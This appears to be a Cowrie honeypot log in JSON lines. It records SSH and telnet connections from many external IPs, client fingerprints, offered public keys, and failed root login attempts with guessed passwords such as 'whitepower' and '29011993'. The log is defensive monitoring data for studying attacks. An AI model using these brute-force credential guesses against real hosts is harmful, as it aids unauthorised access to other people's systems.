{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:32:e6:42:f7:71:7b:03:d5:67:4a:47:cc:ad:88:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDffPp6Bk0uOpX4FW5O3jChok9BD9Mc5eYR6Av3/2EtOh+4QFpPm+i68QaKwr814AG+rRJGpiCLuLbFMywQaPFEsoKkkMU3SRyKUfm/KI1DmuGaeVDToUY7iq1K1gDKLmKfD6MVe7O3MBOJXt46s0XejsuNC8UgMwDM8TAr/j6hbEB/q8jWo5phKQwNi6hNZAYTU1QNP9/XO5q8AN2N2HRfg1/FBp0Zu07U6yToepl1cQ6KdlrrDtWI0Zd4QjeQwirQC7bNCcAQoLdjfj+LHVFVTdwPbYELFUf8/QDMdHdp07Ip14C6WinQ5d1RVM3x1pn9nBFf8ZSk+0KOjEYT8BEd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:32:e6:42:f7:71:7b:03:d5:67:4a:47:cc:ad:88:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.863916Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:32:e6:42:f7:71:7b:03:d5:67:4a:47:cc:ad:88:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDffPp6Bk0uOpX4FW5O3jChok9BD9Mc5eYR6Av3/2EtOh+4QFpPm+i68QaKwr814AG+rRJGpiCLuLbFMywQaPFEsoKkkMU3SRyKUfm/KI1DmuGaeVDToUY7iq1K1gDKLmKfD6MVe7O3MBOJXt46s0XejsuNC8UgMwDM8TAr/j6hbEB/q8jWo5phKQwNi6hNZAYTU1QNP9/XO5q8AN2N2HRfg1/FBp0Zu07U6yToepl1cQ6KdlrrDtWI0Zd4QjeQwirQC7bNCcAQoLdjfj+LHVFVTdwPbYELFUf8/QDMdHdp07Ip14C6WinQ5d1RVM3x1pn9nBFf8ZSk+0KOjEYT8BEd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.867567Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:41:43:d9:92:cc:6d:9b:6e:e4:29:53:c9:41:c8:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM1GY7siVpKSTHuCU3MtnBhCC2dG1LzFs/QPLooxKLch7gpm+FC9PB7N71xdB8DFjY+XIjAm1WBkRavhKX6IzfzGM8BTQMjMHQomRjpXY7yMS3dhuVgYTf7A6agIQEZsl2mb2S0MFBmSot0tMG7mV0usYiImJnnLSSFFsZNgAJBD8QEK6vOBS0I7tHukVvozD/Tvn5TMh5/ps/UFBrSDsfgnJBIH1zEuQVOlAyk9dOJ7gGNqbjaRD1Bb80twNJ/aLOfMMwc9iJ8t0HLbV0qhOjhotESncNmpZWp9OE0dcQcExHDP0KqN9vNtk7kWhZVUW8+RZ8392y/mR01R9V8NBgljDJnPcpMrmKeOyNLA/nsNPmYgCQNrpqRo/BH7eNsW+HlZzoGAfnJLRN7RYTIjkZBO8CL9lm18/eBWepy+b5UwMEZKSxoaN+RA48g4be3fYAiCdi0N4zpl8aZKZzmOOh6TdI/PfzGtuQfZQvTm60iIZueZ+CzsfevA7NBYtU/1YntEaMpJufTjFuwA4rkiaFjvaX/3JWSMi9AZ8gwR6+T+GW9YkBlickUBBaBxVEz0MoFJviBovrlnelZpZ6nnvtjx5khvYzQEqMu7ozaA+aCkJ0Xmg6NefbuZlE1sH4KleGydTmybXNhNMHdj/RKuaVsKNdEolmt+JKHLiTuBxxeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:41:43:d9:92:cc:6d:9b:6e:e4:29:53:c9:41:c8:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.883233Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:41:43:d9:92:cc:6d:9b:6e:e4:29:53:c9:41:c8:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM1GY7siVpKSTHuCU3MtnBhCC2dG1LzFs/QPLooxKLch7gpm+FC9PB7N71xdB8DFjY+XIjAm1WBkRavhKX6IzfzGM8BTQMjMHQomRjpXY7yMS3dhuVgYTf7A6agIQEZsl2mb2S0MFBmSot0tMG7mV0usYiImJnnLSSFFsZNgAJBD8QEK6vOBS0I7tHukVvozD/Tvn5TMh5/ps/UFBrSDsfgnJBIH1zEuQVOlAyk9dOJ7gGNqbjaRD1Bb80twNJ/aLOfMMwc9iJ8t0HLbV0qhOjhotESncNmpZWp9OE0dcQcExHDP0KqN9vNtk7kWhZVUW8+RZ8392y/mR01R9V8NBgljDJnPcpMrmKeOyNLA/nsNPmYgCQNrpqRo/BH7eNsW+HlZzoGAfnJLRN7RYTIjkZBO8CL9lm18/eBWepy+b5UwMEZKSxoaN+RA48g4be3fYAiCdi0N4zpl8aZKZzmOOh6TdI/PfzGtuQfZQvTm60iIZueZ+CzsfevA7NBYtU/1YntEaMpJufTjFuwA4rkiaFjvaX/3JWSMi9AZ8gwR6+T+GW9YkBlickUBBaBxVEz0MoFJviBovrlnelZpZ6nnvtjx5khvYzQEqMu7ozaA+aCkJ0Xmg6NefbuZlE1sH4KleGydTmybXNhNMHdj/RKuaVsKNdEolmt+JKHLiTuBxxeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.886192Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:2a:a6:4d:14:04:b5:a5:aa:97:f0:fd:a3:60:2f:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyG9qna5KIm2GDUKGLi/4cIJep7ZVF6bNblbQOkOftsxCp8GBGX1PF7BXls4+Frghw8MIEscZLXDyAI7Htgpztj8hz2b5qEY8FEye0YO3xZ3yaM2tABIML9IYcAmYITb6GcUMshV+PvcwaHKJyN62ANoiX1RRztQXmcmu7eWqHHdjV4z6+J0Znw5fu1ZerGyjI+Yg1dTB7ssj8BOF13hGFixHsF9RHhWvDsPAN4ZBW+nx5CkUAUQt6iC7EDSu3fvu9g/wENrPBADCTC8SlXYMjHp/w8oBauRQRaeBFqYBfzaaNLpqRxk8ESgOS+RPALsg2bL71wOknVi9dVSTrogJHVBBD7tnXQxUeDk+1tCWQVfN9rhFnbgr4ElFqFijxxA6Hamj+pXC43WuMKFotMq+1SobnB4zVfSNZYX54+F33T2z/cBeiF3j1V7rC6w40zRLjbSJE0+hto10qhAcExsWUKM/mDwvRT6o8WfrJjEj9Rt+ZTIFJWaqXqNsR9F5sVjBOR2w4D9K9DGCmucCGj9IDlTltX3S6gmWmgWdQ6OIu2l1/ow3i64bIHvlB3l4aq7s3fnKm2T0CRYDSWAeZ2vkQhmS0cdvr4aj+FINzkhDrBAv1sEAXAUmLZvMlyvPr1I432x8Ey8CCbQ6GgqKLSiSFff4vJBcb12hslLssrzd8RQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:2a:a6:4d:14:04:b5:a5:aa:97:f0:fd:a3:60:2f:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.900391Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:2a:a6:4d:14:04:b5:a5:aa:97:f0:fd:a3:60:2f:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyG9qna5KIm2GDUKGLi/4cIJep7ZVF6bNblbQOkOftsxCp8GBGX1PF7BXls4+Frghw8MIEscZLXDyAI7Htgpztj8hz2b5qEY8FEye0YO3xZ3yaM2tABIML9IYcAmYITb6GcUMshV+PvcwaHKJyN62ANoiX1RRztQXmcmu7eWqHHdjV4z6+J0Znw5fu1ZerGyjI+Yg1dTB7ssj8BOF13hGFixHsF9RHhWvDsPAN4ZBW+nx5CkUAUQt6iC7EDSu3fvu9g/wENrPBADCTC8SlXYMjHp/w8oBauRQRaeBFqYBfzaaNLpqRxk8ESgOS+RPALsg2bL71wOknVi9dVSTrogJHVBBD7tnXQxUeDk+1tCWQVfN9rhFnbgr4ElFqFijxxA6Hamj+pXC43WuMKFotMq+1SobnB4zVfSNZYX54+F33T2z/cBeiF3j1V7rC6w40zRLjbSJE0+hto10qhAcExsWUKM/mDwvRT6o8WfrJjEj9Rt+ZTIFJWaqXqNsR9F5sVjBOR2w4D9K9DGCmucCGj9IDlTltX3S6gmWmgWdQ6OIu2l1/ow3i64bIHvlB3l4aq7s3fnKm2T0CRYDSWAeZ2vkQhmS0cdvr4aj+FINzkhDrBAv1sEAXAUmLZvMlyvPr1I432x8Ey8CCbQ6GgqKLSiSFff4vJBcb12hslLssrzd8RQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.903645Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:4a:37:34:c9:9b:e5:94:f8:e9:50:86:fe:dd:fe:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLPr/C7e0f5PDzOOzf1OcBgxTyfDBXd53m4U/E9zoE/ORGPn2vjNDh5HPDV9aJmYfxh6WOJ6OUcvpWpykyH29o1T1+eRRVhhH1DR2h/17VIXXYPXidEfobWkFt37FkYaMo0Wjrh67T+jDSVw0TCYgKbhS4YTeazPiMFmqdqD7Vu8T9VmxMLB4fGOp1FgHI0ZZHfuhf2ZY6uKbFdn+bkFpSL2CWn8w1UNJ0K0WiXBizPQiewp/jOk82Iu5Cv3Pg3rRmV/h/hRHQS+ZDQTk0EUeltvaF7sd2+slLYFSvMceRhdJ5w3U6Z6rbvXYBDZSxiLPhZKjcuL7UNQjWLv3Z/Mxj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:4a:37:34:c9:9b:e5:94:f8:e9:50:86:fe:dd:fe:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.918591Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:4a:37:34:c9:9b:e5:94:f8:e9:50:86:fe:dd:fe:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLPr/C7e0f5PDzOOzf1OcBgxTyfDBXd53m4U/E9zoE/ORGPn2vjNDh5HPDV9aJmYfxh6WOJ6OUcvpWpykyH29o1T1+eRRVhhH1DR2h/17VIXXYPXidEfobWkFt37FkYaMo0Wjrh67T+jDSVw0TCYgKbhS4YTeazPiMFmqdqD7Vu8T9VmxMLB4fGOp1FgHI0ZZHfuhf2ZY6uKbFdn+bkFpSL2CWn8w1UNJ0K0WiXBizPQiewp/jOk82Iu5Cv3Pg3rRmV/h/hRHQS+ZDQTk0EUeltvaF7sd2+slLYFSvMceRhdJ5w3U6Z6rbvXYBDZSxiLPhZKjcuL7UNQjWLv3Z/Mxj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.921674Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:5b:9e:e9:82:86:c3:80:be:b6:ac:1d:e6:8d:91:f0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhQ3miiOc1qF91RLIlc/sgUcNyC0jZt2wVr15Dg7H3S","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 16:5b:9e:e9:82:86:c3:80:be:b6:ac:1d:e6:8d:91:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.940783Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:5b:9e:e9:82:86:c3:80:be:b6:ac:1d:e6:8d:91:f0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhQ3miiOc1qF91RLIlc/sgUcNyC0jZt2wVr15Dg7H3S","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.944359Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.961692Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51810,"dst_ip":"159.203.135.109","dst_port":23,"session":"16b2bd10fc00","protocol":"telnet","message":"New connection: 107.6.151.170:51810 (159.203.135.109:23) [session: 16b2bd10fc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:20.761328Z"}
{"eventid":"cowrie.session.closed","duration":31.426937341690063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:22.462308Z","src_ip":"99.227.227.84","session":"fe641cfed018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48338,"dst_ip":"159.203.135.109","dst_port":23,"session":"1274e71d2278","protocol":"telnet","message":"New connection: 128.199.8.54:48338 (159.203.135.109:23) [session: 1274e71d2278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:33.878751Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":40354,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcf54fb5c63f","protocol":"ssh","message":"New connection: 103.153.68.219:40354 (159.203.135.109:22) [session: fcf54fb5c63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:43.358541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:43.362387Z","src_ip":"103.153.68.219","session":"fcf54fb5c63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:43.616242Z","src_ip":"103.153.68.219","session":"fcf54fb5c63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whitepower","message":"login attempt [root/whitepower] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:44.366350Z","src_ip":"103.153.68.219","session":"fcf54fb5c63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:45.619714Z","src_ip":"103.153.68.219","session":"fcf54fb5c63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.92985916137695,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:55.691030Z","src_ip":"107.6.151.170","session":"16b2bd10fc00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55730,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee8220d1a82d","protocol":"ssh","message":"New connection: 193.37.70.224:55730 (10.17.0.5:22) [session: ee8220d1a82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:01.972888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:01.978955Z","src_ip":"193.37.70.224","session":"ee8220d1a82d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:02.074635Z","src_ip":"193.37.70.224","session":"ee8220d1a82d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:02.359183Z","src_ip":"193.37.70.224","session":"ee8220d1a82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:03.458635Z","src_ip":"193.37.70.224","session":"ee8220d1a82d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42476,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fcc5b0c26ef","protocol":"telnet","message":"New connection: 107.6.151.170:42476 (159.203.135.109:23) [session: 4fcc5b0c26ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:09.074750Z"}
{"eventid":"cowrie.session.closed","duration":0.004388093948364258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:09.078903Z","src_ip":"107.6.151.170","session":"4fcc5b0c26ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00193190574646,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:33.880459Z","src_ip":"128.199.8.54","session":"1274e71d2278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42020,"dst_ip":"159.203.135.109","dst_port":23,"session":"83632ec0bf96","protocol":"telnet","message":"New connection: 128.199.8.54:42020 (159.203.135.109:23) [session: 83632ec0bf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:39.420123Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43378,"dst_ip":"159.203.135.109","dst_port":23,"session":"46dbe33682ea","protocol":"telnet","message":"New connection: 172.81.62.90:43378 (159.203.135.109:23) [session: 46dbe33682ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:44.577386Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":32956,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fad8e2ac1d3","protocol":"ssh","message":"New connection: 103.82.132.16:32956 (10.17.0.5:22) [session: 8fad8e2ac1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:48.563839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:48.567844Z","src_ip":"103.82.132.16","session":"8fad8e2ac1d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:48.822542Z","src_ip":"103.82.132.16","session":"8fad8e2ac1d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29011993","message":"login attempt [root/29011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:49.592754Z","src_ip":"103.82.132.16","session":"8fad8e2ac1d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:27:50.854746Z","src_ip":"103.82.132.16","session":"8fad8e2ac1d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.139.59","src_port":51836,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a07722eef6","protocol":"telnet","message":"New connection: 180.76.139.59:51836 (159.203.135.109:23) [session: f7a07722eef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:05.285784Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":46592,"dst_ip":"159.203.135.109","dst_port":23,"session":"c88124e49a8d","protocol":"telnet","message":"New connection: 128.199.209.169:46592 (159.203.135.109:23) [session: c88124e49a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:17.871143Z"}
{"eventid":"cowrie.session.closed","duration":37.691344261169434,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:22.268608Z","src_ip":"172.81.62.90","session":"46dbe33682ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.28352904319763,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:24.703521Z","src_ip":"128.199.8.54","session":"83632ec0bf96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":59540,"dst_ip":"10.17.0.5","dst_port":22,"session":"3368adf8a5b2","protocol":"ssh","message":"New connection: 147.45.199.80:59540 (10.17.0.5:22) [session: 3368adf8a5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:37.596064Z"}
